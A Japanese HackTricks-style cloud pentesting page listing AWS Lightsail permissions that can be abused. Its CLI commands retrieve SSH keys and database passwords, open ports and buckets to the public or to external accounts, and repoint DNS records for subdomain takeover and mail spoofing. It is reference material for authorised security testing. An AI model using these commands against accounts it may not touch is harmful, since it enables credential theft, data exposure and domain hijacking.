# AWS - Lightsail Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Lightsail

Lightsail の詳細については次を参照してください:

{{#ref}}
../../aws-services/aws-lightsail-enum.md
{{#endref}}

> [!WARNING]
> Lightsail は **ユーザーに属する IAM roles を使用せず**、AWS managed account に紐づくため、このサービスを利用して privesc を行うことはできません。しかし、**機密データ**（code、API keys、database info）がこのサービス内で見つかる可能性があります。

### `lightsail:DownloadDefaultKeyPair`

この権限により、インスタンスにアクセスするための SSH keys を取得できます：
```
aws lightsail download-default-key-pair
```
**Potential Impact:** インスタンス内の機密情報を見つける。

### `lightsail:GetInstanceAccessDetails`

この権限により、インスタンスへアクセスするためのSSHキーを生成できます:
```bash
aws lightsail get-instance-access-details --instance-name <instance_name>
```
**潜在的な影響:** インスタンス内の機密情報を見つける。

### `lightsail:CreateBucketAccessKey`

この権限により、bucket にアクセスするためのキーを取得できます:
```bash
aws lightsail create-bucket-access-key --bucket-name <name>
```
**潜在的影響:** bucket 内の機密情報を見つける。

### `lightsail:GetRelationalDatabaseMasterUserPassword`

この権限があれば、データベースにアクセスするための認証情報を取得できます:
```bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
```
**潜在的な影響:** データベース内の機密情報を見つけることができる。

### `lightsail:UpdateRelationalDatabase`

この権限により、データベースにアクセスするためのパスワードを変更できます:
```bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
```
データベースが公開されていない場合は、次の権限で公開にすることもできます。
```bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
```
**Potential Impact:** データベース内の機密情報を見つけることができる。

### `lightsail:OpenInstancePublicPorts`

この権限によりインターネットに対してポートを開放できます。
```bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
```
**Potential Impact:** 機密性の高いポートにアクセス可能

### `lightsail:PutInstancePublicPorts`

この権限により、ポートをインターネットに公開できます。呼び出し時に、指定されていない既存のポートはすべて閉じられます。
```bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
```
**潜在的な影響:** 機密性の高い ports へのアクセス

### `lightsail:SetResourceAccessForBucket`

この permissions により、instances に追加の credentials なしで bucket へのアクセスを付与できます。
```bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
```
**潜在的影響:** 機密情報を含むバケットへの新たなアクセスの可能性。

### `lightsail:UpdateBucket`

この権限があれば、攻撃者は自分のAWSアカウントに対してバケットの読み取りアクセスを付与したり、バケットを全員に公開したりすることができます:
```bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
```
**潜在的影響:** 機密情報を含むバケットへの新たなアクセスが発生する可能性。

### `lightsail:UpdateContainerService`

この権限があれば、攻撃者はコンテナサービスからプライベート ECR へのアクセスを付与できる可能性がある。
```bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
```
**Potential Impact:** プライベート ECR から機密情報を取得する

### `lightsail:CreateDomainEntry`

この権限を持つ攻撃者はサブドメインを作成して自身のIPアドレスに向ける（subdomain takeover）、あるいはSPFレコードを作成してドメインからのメールをなりすますことができる、さらにはメインドメインを自身のIPアドレスに設定することさえ可能です。
```bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**潜在的な影響:** ドメインの乗っ取り

### `lightsail:UpdateDomainEntry`

この権限を持つ攻撃者は、subdomain を作成して自分の IP アドレスを指すように設定（subdomain takeover）、または SPF レコードを作成してドメインからのメールを spoof できるようにしたり、メインドメイン自体を自分の IP アドレスに設定することさえ可能です。
```bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**潜在的影響：** ドメインの乗っ取り

{{#include ../../../../banners/hacktricks-training.md}}
